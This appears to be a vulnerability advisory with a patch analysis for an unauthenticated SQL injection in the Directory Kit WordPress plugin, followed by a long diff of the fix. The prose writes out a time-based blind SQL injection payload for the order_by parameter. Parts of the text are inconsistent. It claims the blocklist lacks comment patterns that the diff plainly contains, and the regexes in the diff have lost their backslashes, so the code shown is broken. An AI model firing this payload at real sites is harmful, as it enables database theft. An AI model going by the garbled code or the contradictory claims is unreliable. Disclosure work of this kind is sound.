Opens in a new tab
Published : November 15, 2026

CVE-2026-18474: Directory Kit <= 1.5.5 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.5.5
Patched Version 1.5.6
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-18474: This is an unauthenticated SQL injection in the Directory Kit WordPress plugin affecting versions up to and including 1.5.5. The flaw resides in the plugin’s custom SQL escaping helper, wdk_esc_sql(), and its usage in multiple order_by parameters across elementor element classes and the Basic helper. Atomic Edge research confirms a CVSS score of 7.5, reflecting the ability for remote, unauthenticated attackers to execute arbitrary SQL queries against the WordPress database. The vulnerability is classified under CWE-89.

The root cause centers on the wdk_esc_sql() function defined in wpdirectorykit/application/helpers/Basic.php around line 5298. The function uses preg_replace() to strip a limited blocklist of SQL keywords and characters, then wraps the result in esc_sql() after sanitize_text_field(). This blocklist approach is flawed because it fails to block comment sequences, function calls, and conditional expressions essential for blind SQL injection. The function was designed to accept only a single argument, with no strict mode. Multiple call sites, such as those in the elementor element classes (wdk-categories-carousel.php, wdk-categories-grid.php, wdk-locations-list.php, etc.) at lines approximately 150-165, pass user-controlled settings like conf_order_by and conf_order directly into $order_by without additional validation. These values are later used in SQL ORDER BY clauses within model queries. Additionally, the Basic.php helper around line 1671 uses wdk_esc_sql() on $_GET_clone[‘order_by’] for message ordering, exposing another unauthenticated vector. The patch introduces a $strict parameter to wdk_esc_sql() that, when true, adds patterns for IF(), ORD, SUBSTR(), SCHEMA(), and @@version, and updates multiple call sites to use strict mode. The patch also casts category and location IDs to integers and adds missing authorization checks in Wdk_fields controller, and removes a data output in Wdk_frontendajax.

The exploitation method targets any endpoint that reaches these order_by parameters with attacker-controlled input. For unauthenticated attacks, the most direct vector is through the Basic.php helper’s handling of $_GET_clone[‘order_by’] for message ordering, or through public-facing Elementor widgets that expose conf_order_by settings. An attacker can send a crafted HTTP request to a page containing a vulnerable Elementor widget or directly to a plugin AJAX endpoint that processes order_by, appending SQL payloads such as `,(SELECT IF(SUBSTR(@@version,1,1)=’8′,SLEEP(5),0)))– -` to the order_by value. The blocklist in wdk_esc_sql() fails to remove parentheses, commas, comparison operators, and SQL comments, allowing arbitrary SQL expression injection. Attackers can use time-based blind techniques to extract database schema, user credentials, and other sensitive information. The patch’s strict mode blocks some functions but not all, indicating the vulnerability is not fully remediated; the fundamental issue of using string concatenation for ORDER BY remains.

The patch analysis reveals a partial mitigation. The wdk_esc_sql() function now accepts a $strict boolean argument and, when true, merges additional regex patterns to block IF(, ORD, SUBSTR(, SCHEMA(), and @@version. Call sites in elementor element classes and the Basic.php helper now pass true as the second parameter. However, this blocklist still omits critical SQL injection vectors such as CASE WHEN, BENCHMARK, SLEEP, UPDATEXML, EXTRACTVALUE, and comment sequences like — and #. The patch also adds integer casting for category and location IDs, which properly sanitizes those specific inputs. An administrator capability check is added to the Wdk_fields controller constructor, preventing unauthenticated access to that controller. The patch removes a debug output line in Wdk_frontendajax that could leak listing data. These changes reduce the attack surface but do not eliminate the SQL injection because the order_by parameters still undergo insufficient escaping; the strict mode relies on an incomplete blocklist rather than proper parameterization or whitelisting. Atomic Edge analysis concludes that the patch is insufficient and recommends avoiding the plugin until a comprehensive fix uses prepared statements or a strict allowlist for ORDER BY columns.

If exploited, this vulnerability allows unauthenticated attackers to extract sensitive information from the WordPress database, including user credentials (password hashes), session tokens, email addresses, and any other data stored in the database. Attackers can also modify database contents, potentially creating administrator accounts or altering plugin settings. The CVSS score of 7.5 reflects high confidentiality impact but no integrity or availability impact in the base score; however, in practice, data modification is possible. The vulnerability affects all sites running Directory Kit up to 1.5.5, and with over 10,000 active installations, it presents a significant risk. Atomic Edge research recommends immediate patching or virtual patching via WAF, but notes that the provided patch is incomplete.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpdirectorykit/application/controllers/Wdk_fields.php
+++ b/wpdirectorykit/application/controllers/Wdk_fields.php
@@ -4,11 +4,18 @@
 class Wdk_fields extends Winter_MVC_Controller {

 	public function __construct(){
+
+        if ( ! current_user_can('administrator') ) {
+            wp_die( __('You do not have sufficient permissions to access this page.') );
+        }
+
 		parent::__construct();
 	}

 	public function index()
 	{
+
+
         $this->load->model('field_m');

         $this->data['fields'] = $this->field_m->get();
--- a/wpdirectorykit/application/controllers/Wdk_frontendajax.php
+++ b/wpdirectorykit/application/controllers/Wdk_frontendajax.php
@@ -34,6 +34,15 @@

 		$listing = $this->load->listing_m->get($listing_post_id, TRUE);

+
+		/* protect check */
+		if (
+			!wdk_field_value('is_activated', $listing, false) || !wdk_field_value('is_approved', $listing,false)
+		) {
+			$data['popup_content'] = __( 'Listing is not public', 'wpdirectorykit' );
+			$this->output($data);
+		}
+
 		$popup_layout = 'result_item_card';
 		if(!empty($_POST['custom_layout_id'])) {
 			$popup_layout = (int) sanitize_text_field($_POST['custom_layout_id']);
@@ -751,7 +760,6 @@
 		$db_results_total = $this->$model_name->total($where, NULL, $like);

 		$db_results = $this->$model_name->get_pagination($limit,$offset, $where, NULL, $like);
-		$data['output'] =  $db_results;

 		if (!$db_results) {
             $data['errors'] = '';
--- a/wpdirectorykit/application/helpers/Basic.php
+++ b/wpdirectorykit/application/helpers/Basic.php
@@ -1671,7 +1671,7 @@
         if(isset($_GET_clone['order_by']))
         {
             $_GET_clone['order_by'] = str_replace('post_id', $WMVC->db->prefix.'wdk_messages.post_id', $_GET_clone['order_by']);
-            $WMVC->db->order_by(wdk_esc_sql(sanitize_text_field($_GET_clone['order_by'])));
+            $WMVC->db->order_by(wdk_esc_sql(sanitize_text_field($_GET_clone['order_by']), true));
         }

     }
@@ -3284,7 +3284,7 @@
                     $ids = array();
                     foreach($selected as $selected_item) {
                         if(!empty($selected_item)) {
-                            $ids [] = $selected_item;
+                            $ids [] = (int) $selected_item;
                         }
                     }

@@ -5298,8 +5298,8 @@
 	}

     if(!function_exists('wdk_esc_sql')) {
-        function wdk_esc_sql ($value = '') {
-            return esc_sql(trim(preg_replace([
+        function wdk_esc_sql($value = '', $strict = false) {
+            $patterns = [
                 '/bselectb/i',
                 '/binsertb/i',
                 '/bupdateb/i',
@@ -5315,12 +5315,26 @@
                 '/--/',
                 '/#/i',
                 '//*/',
-
+
                 // EXTRA BLOCK YOU REQUESTED
                 '/\\/',     // remove backslash 
                 '/|/',       // remove |
                 '/%/',        // remove %
-            ], '', sanitize_text_field($value))));
+            ];
+
+            // If strict mode is enabled, block additional patterns
+            if ($strict === true) {
+                $strict_patterns = [
+                    '/bifbs*(/i',
+                    '/bordb/i',
+                    '/bsubstrs*(/i',
+                    '/bschemas*()/i',
+                    '/@@version/i',
+                ];
+                $patterns = array_merge($patterns, $strict_patterns);
+            }
+
+            return esc_sql(trim(preg_replace($patterns, '', sanitize_text_field($value))));
         }
     }

--- a/wpdirectorykit/elementor-elements/classes/wdk-categories-carousel.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-categories-carousel.php
@@ -131,7 +131,7 @@
             $categories_ids = array();
             foreach($this->data['settings']['conf_custom_results'] as $category) {
                 if(isset($category['category_id']) && !empty($category['category_id'])) {
-                    $categories_ids [] = $category['category_id'];
+                    $categories_ids [] = (int)$category['category_id'];
                 }
             }

@@ -150,7 +150,7 @@
         } else {
             $order_by = NULL;
             if(!empty($this->data['settings']['conf_order_by']))
-                $order_by = $this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'];
+                $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'], true);

             $where = array();
             if (!empty($this->data['settings']['only_root_enable']) && $this->data['settings']['only_root_enable'] == 'yes') {
--- a/wpdirectorykit/elementor-elements/classes/wdk-categories-grid-cover.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-categories-grid-cover.php
@@ -138,7 +138,7 @@
             $categories_ids = array();
             foreach($this->data['settings']['conf_custom_results'] as $category) {
                 if(isset($category['category_id']) && !empty($category['category_id'])) {
-                    $categories_ids [] = $category['category_id'];
+                    $categories_ids [] = (int)$category['category_id'];
                 }
             }

@@ -165,7 +165,7 @@
             } else {
                 $where = array();
                 if (!empty($this->data['settings']['conf_order_by'])) {
-                    $order_by = $this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'];
+                    $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'], true);
                 }

                 if (!empty($this->data['settings']['only_root_enable']) && $this->data['settings']['only_root_enable'] == 'yes') {
--- a/wpdirectorykit/elementor-elements/classes/wdk-categories-grid.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-categories-grid.php
@@ -131,7 +131,7 @@
             $categories_ids = array();
             foreach($this->data['settings']['conf_custom_results'] as $category) {
                 if(isset($category['category_id']) && !empty($category['category_id'])) {
-                    $categories_ids [] = $category['category_id'];
+                    $categories_ids [] = (int)$category['category_id'];
                 }
             }

@@ -150,7 +150,7 @@
         } else {
             $order_by = NULL;
             if(!empty($this->data['settings']['conf_order_by']))
-                $order_by = $this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'];
+                $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'], true);

             $where = array();
             if (!empty($this->data['settings']['only_root_enable']) && $this->data['settings']['only_root_enable'] == 'yes') {
--- a/wpdirectorykit/elementor-elements/classes/wdk-categories-list.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-categories-list.php
@@ -130,7 +130,7 @@
             $categories_ids = array();
             foreach($this->data['settings']['conf_custom_results'] as $category) {
                 if(isset($category['category_id']) && !empty($category['category_id'])) {
-                    $categories_ids [] = $category['category_id'];
+                    $categories_ids [] = (int)$category['category_id'];
                 }
             }

@@ -149,7 +149,7 @@
         } else {
             $order_by = NULL;
             if(!empty($this->data['settings']['conf_order_by']))
-                $order_by = $this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'];
+                $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'], true);


             $where = array();
--- a/wpdirectorykit/elementor-elements/classes/wdk-categories-tree-top.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-categories-tree-top.php
@@ -133,7 +133,7 @@
             $categories_ids = array();
             foreach($this->data['settings']['primary_conf_custom_results'] as $category) {
                 if(isset($category['category_id']) && !empty($category['category_id'])) {
-                    $categories_ids [] = $category['category_id'];
+                    $categories_ids [] = (int)$category['category_id'];
                 }
             }
             /* where in */
@@ -170,7 +170,7 @@
                 $categories_ids = array();
                 foreach($this->data['settings']['secondary_conf_custom_results'] as $category) {
                     if(isset($category['category_id']) && !empty($category['category_id'])) {
-                        $categories_ids [] = $category['category_id'];
+                        $categories_ids [] = (int)$category['category_id'];
                     }
                 }
                 /* where in */
--- a/wpdirectorykit/elementor-elements/classes/wdk-locations-carousel.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-locations-carousel.php
@@ -131,7 +131,7 @@
             $locations_ids = array();
             foreach($this->data['settings']['conf_custom_results'] as $location) {
                 if(isset($location['location_id']) && !empty($location['location_id'])) {
-                    $locations_ids [] = $location['location_id'];
+                    $locations_ids [] = (int)$location['location_id'];
                 }
             }

@@ -150,7 +150,7 @@
         } else {
             $order_by = NULL;
             if(!empty($this->data['settings']['conf_order_by']))
-                $order_by = $this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'];
+                $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'], true);

             $where = array();
             if (!empty($this->data['settings']['only_root_enable']) && $this->data['settings']['only_root_enable'] == 'yes') {
--- a/wpdirectorykit/elementor-elements/classes/wdk-locations-grid-cover.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-locations-grid-cover.php
@@ -138,7 +138,7 @@
             $locations_ids = array();
             foreach($this->data['settings']['conf_custom_results'] as $location) {
                 if(isset($location['location_id']) && !empty($location['location_id'])) {
-                    $locations_ids [] = $location['location_id'];
+                    $locations_ids [] = (int)$location['location_id'];
                 }
             }

@@ -165,7 +165,7 @@
             } else {
                 $where = array();
                 if (!empty($this->data['settings']['conf_order_by'])) {
-                    $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order']);
+                    $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'], true);
                 }

                 if (!empty($this->data['settings']['only_root_enable']) && $this->data['settings']['only_root_enable'] == 'yes') {
--- a/wpdirectorykit/elementor-elements/classes/wdk-locations-grid.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-locations-grid.php
@@ -132,7 +132,7 @@
             $locations_ids = array();
             foreach($this->data['settings']['conf_custom_results'] as $location) {
                 if(isset($location['location_id']) && !empty($location['location_id'])) {
-                    $locations_ids [] = $location['location_id'];
+                    $locations_ids [] = (int)$location['location_id'];
                 }
             }

@@ -151,7 +151,7 @@
         } else {
             $order_by = NULL;
             if(!empty($this->data['settings']['conf_order_by']))
-                $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order']);
+                $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'], true);
                 $where = array();
                 if (!empty($this->data['settings']['only_root_enable']) && $this->data['settings']['only_root_enable'] == 'yes') {
                     $where['('.$this->WMVC->{$controller.'_m'}->_table_name.'.level = 0)'] = NULL;
--- a/wpdirectorykit/elementor-elements/classes/wdk-locations-list.php
+++ b/wpdirectorykit/elementor-elements/classes/wdk-locations-list.php
@@ -131,7 +131,7 @@
             $locations_ids = array();
             foreach($this->data['settings']['conf_custom_results'] as $location) {
                 if(isset($location['location_id']) && !empty($location['location_id'])) {
-                    $locations_ids [] = $location['location_id'];
+                    $locations_ids [] = (int)$location['location_id'];
                 }
             }

@@ -150,7 +150,7 @@
         } else {
             $order_by = NULL;
             if(!empty($this->data['settings']['conf_order_by']))
-                $order_by = $this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'];
+                $order_by = wdk_esc_sql($this->data['settings']['conf_order_by'].' '.$this->data['settings']['conf_order'], true);

             $where = array();
             if (!empty($this->data['settings']['only_root_enable']) && $this->data['settings']['only_root_enable'] == 'yes') {
--- a/wpdirectorykit/elementor-elements/views/wdk-categories-grid-cover.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-categories-grid-cover.php
@@ -45,20 +45,20 @@
                 <div class="wdk-col">
                     <div class="wdk-categories-card-cover">
                         <?php if(wmvc_show_data('layout_image_type', $settings) == 'icon'):?>
-                            <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-icon">
+                            <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-icon">
                         <?php else:?>
-                            <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id', 'image_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-image">
+                            <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id', 'image_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-image">
                         <?php endif;?>
                         <div class="wdk-categories-card-body">
                             <div class="wdk-action-left">
                                 <?php if(wmvc_show_data('content_icon_type', $settings) == 'image' && wdk_image_src($value, 'full', NULL,'icon_id')):?>
-                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>">
+                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>">
                                 <?php elseif(wmvc_show_data('content_icon_type', $settings) == 'font'):?>
                                     <i class="<?php echo wmvc_show_data('font_icon_code', $value,'');?>"></i>
                                 <?php endif;?>
                             </div>
                             <div class="wdk-left-content">
-                                <h3 class="wdk-title"><?php echo wmvc_show_data('category_title', $value);?></h3>
+                                <h3 class="wdk-title"><?php echo esc_html(wmvc_show_data('category_title', $value));?></h3>
                                 <span class="wdk-listings-count">
                                     <?php
                                         echo esc_html(wdk_sprintf(_nx(
--- a/wpdirectorykit/elementor-elements/views/wdk-categories-grid.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-categories-grid.php
@@ -44,12 +44,12 @@
                         <div class="wdk-categories-card">
                             <div class="wdk-thumbnail">
                                 <?php if(wmvc_show_data('layout_image_type', $settings) == 'icon'):?>
-                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-icon">
+                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-icon">
                                 <?php else:?>
-                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-image">
+                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-image">
                                 <?php endif;?>
                             </div>
-                            <h3 class="wdk-title"><?php echo wmvc_show_data('category_title', $value);?></h3>
+                            <h3 class="wdk-title"><?php echo esc_html(wmvc_show_data('category_title', $value));?></h3>
                             <a href="<?php echo esc_url(wdk_url_suffix($results_page,'search_category='.wmvc_show_data('idcategory', $value)));?>#results"  class="wdk-link"></a>
                         </div>
                     <?php if(wmvc_show_data('layout_carousel_enable', $settings) != 'yes'):?>
--- a/wpdirectorykit/elementor-elements/views/wdk-categories-list.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-categories-list.php
@@ -37,7 +37,7 @@
                         class="wdk-link <?php if(wmvc_show_data('enable_search_sensitive', $settings)):?> wdk-search_sensitive_link <?php endif;?> ">
                         <?php if(wmvc_show_data('show_icon', $settings) == 'true'):?>
                             <?php if(wmvc_show_data('icon_id', $value, false)):?>
-                                <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id','icon_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-icon">
+                                <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id','icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-icon">
                             <?php endif;?>
                         <?php else:?>
                             <?php ElementorIcons_Manager::render_icon( $settings['item_icon_i'], [ 'aria-hidden' => 'true' ] );?>
--- a/wpdirectorykit/elementor-elements/views/wdk-categories-tree-top.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-categories-tree-top.php
@@ -36,7 +36,7 @@
                     <div class="wdk-col">
                         <div class="category-card">
                             <div class="body">
-                                <h3 class="title"><?php echo wmvc_show_data('category_title', $value);?></h3>
+                                <h3 class="title"><?php echo esc_html(wmvc_show_data('category_title', $value));?></h3>
                                 <div class="sub">
                                     <?php
                                         echo esc_html(wdk_sprintf(_nx(
@@ -51,9 +51,9 @@
                             </div>
                             <div class="thumbnail">
                                 <?php if(wmvc_show_data('primary_layout_image_type', $settings) == 'icon'):?>
-                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-icon">
+                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-icon">
                                 <?php elseif(wmvc_show_data('primary_layout_image_type', $settings) == 'image'):?>
-                                    <img class="jsplaceholder" onerror="this.src = '<?php echo esc_url(wdk_placeholder_image_src());?>';" src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-image">
+                                    <img class="jsplaceholder" onerror="this.src = '<?php echo esc_url(wdk_placeholder_image_src());?>';" src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-image">
                                 <?php elseif(wmvc_show_data('primary_layout_image_type', $settings) == 'font_icon'):?>
                                     <span class="wdk-font-icon" style="background-color: <?php echo esc_attr(wmvc_show_data('category_color', $value));?>;"><i class="<?php echo esc_attr(wmvc_show_data('font_icon_code', $value));?>"></i></span>
                                 <?php endif;?>
@@ -72,7 +72,7 @@
                     <div class="wdk-col">
                         <div class="category-card">
                             <div class="body">
-                                <h3 class="title"><?php echo wmvc_show_data('category_title', $value);?></h3>
+                                <h3 class="title"><?php echo esc_html(wmvc_show_data('category_title', $value));?></h3>
                                 <div class="sub">
                                     <?php
                                         echo esc_html(wdk_sprintf(_nx(
@@ -87,9 +87,9 @@
                             </div>
                             <div class="thumbnail">
                                 <?php if(wmvc_show_data('secondary_layout_image_type', $settings) == 'icon'):?>
-                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-icon">
+                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-icon">
                                 <?php elseif(wmvc_show_data('secondary_layout_image_type', $settings) == 'image'):?>
-                                    <img class="jsplaceholder" onerror="this.src = '<?php echo esc_url(wdk_placeholder_image_src());?>';" src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-image">
+                                    <img class="jsplaceholder" onerror="this.src = '<?php echo esc_url(wdk_placeholder_image_src());?>';" src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-image">
                                 <?php elseif(wmvc_show_data('secondary_layout_image_type', $settings) == 'font_icon'):?>
                                     <span class="wdk-font-icon" style="background-color: <?php echo esc_attr(wmvc_show_data('category_color', $value));?>;"><i class="<?php echo esc_attr(wmvc_show_data('font_icon_code', $value));?>"></i></span>
                                 <?php endif;?>
--- a/wpdirectorykit/elementor-elements/views/wdk-categories-tree.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-categories-tree.php
@@ -77,18 +77,18 @@
                                         <?php if(wmvc_show_data('show_icon', $settings) == 'yes'):?>
                                             <?php if(wmvc_show_data('layout_image_type', $settings) == 'icon'):?>
                                                 <a href="<?php echo esc_url(wdk_url_suffix($results_page,'search_category='.wmvc_show_data('idcategory', $value)));?>#results">
-                                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-icon">
+                                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-icon">
                                                 </a>
                                             <?php elseif(wmvc_show_data('layout_image_type', $settings) == 'image'):?>
                                                 <a class="wdk-d-block" href="<?php echo esc_url(wdk_url_suffix($results_page,'search_category='.wmvc_show_data('idcategory', $value)));?>#results">
-                                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>" class="wdk-image">
+                                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>" class="wdk-image">
                                                 </a>
                                             <?php elseif(wmvc_show_data('layout_image_type', $settings) == 'font_icon'):?>
                                                 <span class="wdk-font-icon" style="background-color: <?php echo esc_attr(wmvc_show_data('category_color', $value));?>;"><i class="<?php echo esc_attr(wmvc_show_data('font_icon_code', $value));?>"></i></span>
                                             <?php endif;?>
                                         <?php endif;?>
                                         <a href="<?php echo esc_url(wdk_url_suffix($results_page,'search_category='.wmvc_show_data('idcategory', $value)));?>#results" class="title-in">
-                                            <?php echo wmvc_show_data('category_title', $value);?>
+                                            <?php echo esc_html(wmvc_show_data('category_title', $value));?>
                                         </a>
                                     </h3>
                                     <ul class="wdk-categories">
@@ -114,7 +114,7 @@
                                 <li class="wdk-item <?php echo ($categories_sub_count > wmvc_show_data('conf_limit_sub', $settings)) ? 'more-sub' : '';?>" <?php echo ($categories_sub_count > wmvc_show_data('conf_limit_sub', $settings)) ? 'style="display: none;"' : '';?>>
                                     <a href="<?php echo esc_url(wdk_url_suffix($results_page,'search_category='.wmvc_show_data('idcategory', $value)));?>#results"  class="wdk-link">
                                         <?php ElementorIcons_Manager::render_icon( $settings['item_icon_i'], [ 'aria-hidden' => 'true' ] );?>
-                                        <span class="wdk-title"><?php echo wmvc_show_data('category_title', $value);?></span>
+                                        <span class="wdk-title"><?php echo esc_html(wmvc_show_data('category_title', $value));?></span>
                                         <span class="wdk-count"><?php echo wmvc_show_data('listings_counter', $value, 0);?></span>
                                     </a>
                                 </li>
--- a/wpdirectorykit/elementor-elements/views/wdk-locations-grid-cover.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-locations-grid-cover.php
@@ -37,20 +37,20 @@
                 <div class="wdk-col">
                     <div class="wdk-locations-card-cover">
                         <?php if(wmvc_show_data('layout_image_type', $settings) == 'icon'):?>
-                            <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('location_title', $value);?>" class="wdk-icon">
+                            <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('location_title', $value));?>" class="wdk-icon">
                         <?php else:?>
-                            <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id', 'image_path'));?>" alt="<?php echo wmvc_show_data('location_title', $value);?>" class="wdk-image">
+                            <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id', 'image_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('location_title', $value));?>" class="wdk-image">
                         <?php endif;?>
                         <div class="wdk-locations-card-body">
                             <div class="wdk-action-left">
                                 <?php if(wmvc_show_data('content_icon_type', $settings) == 'image' && wdk_image_src($value, 'full', NULL,'icon_id')):?>
-                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('category_title', $value);?>">
+                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('category_title', $value));?>">
                                 <?php elseif(wmvc_show_data('content_icon_type', $settings) == 'font'):?>
                                     <i class="<?php echo wmvc_show_data('font_icon_code', $value,'');?>"></i>
                                 <?php endif;?>
                             </div>
                             <div class="wdk-left-content">
-                                <h3 class="wdk-title"><?php echo wmvc_show_data('location_title', $value);?></h3>
+                                <h3 class="wdk-title"><?php echo esc_html(wmvc_show_data('location_title', $value));?></h3>
                                 <span class="wdk-listings-count">
                                     <?php
                                         echo esc_html(wdk_sprintf(_nx(
--- a/wpdirectorykit/elementor-elements/views/wdk-locations-grid.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-locations-grid.php
@@ -39,12 +39,12 @@
                     <div class="wdk-locations-card">
                         <div class="wdk-thumbnail">
                             <?php if(wmvc_show_data('layout_image_type', $settings) == 'icon'):?>
-                                <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('location_title', $value);?>" class="wdk-icon">
+                                <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('location_title', $value));?>" class="wdk-icon">
                             <?php else:?>
-                                <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id', 'image_path'));?>" alt="<?php echo wmvc_show_data('location_title', $value);?>" class="wdk-image">
+                                <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id', 'image_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('location_title', $value));?>" class="wdk-image">
                             <?php endif;?>
                         </div>
-                        <h3 class="wdk-title"><?php echo wmvc_show_data('location_title', $value);?></h3>
+                        <h3 class="wdk-title"><?php echo esc_html(wmvc_show_data('location_title', $value));?></h3>
                         <a href="<?php echo esc_url(wdk_url_suffix($results_page,'search_location='.wmvc_show_data('idlocation', $value)));?>#results"  class="wdk-link"></a>
                     </div>
                 </div>
--- a/wpdirectorykit/elementor-elements/views/wdk-locations-list.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-locations-list.php
@@ -39,7 +39,7 @@
                     class="wdk-link <?php if(wmvc_show_data('enable_search_sensitive', $settings)):?> wdk-search_sensitive_link <?php endif;?>">
                     <?php if(wmvc_show_data('show_icon', $settings) == 'true'):?>
                             <?php if(wmvc_show_data('icon_id', $value, false)):?>
-                                <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('location_title', $value);?>" class="wdk-icon">
+                                <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('location_title', $value));?>" class="wdk-icon">
                             <?php endif;?>
                         <?php else:?>
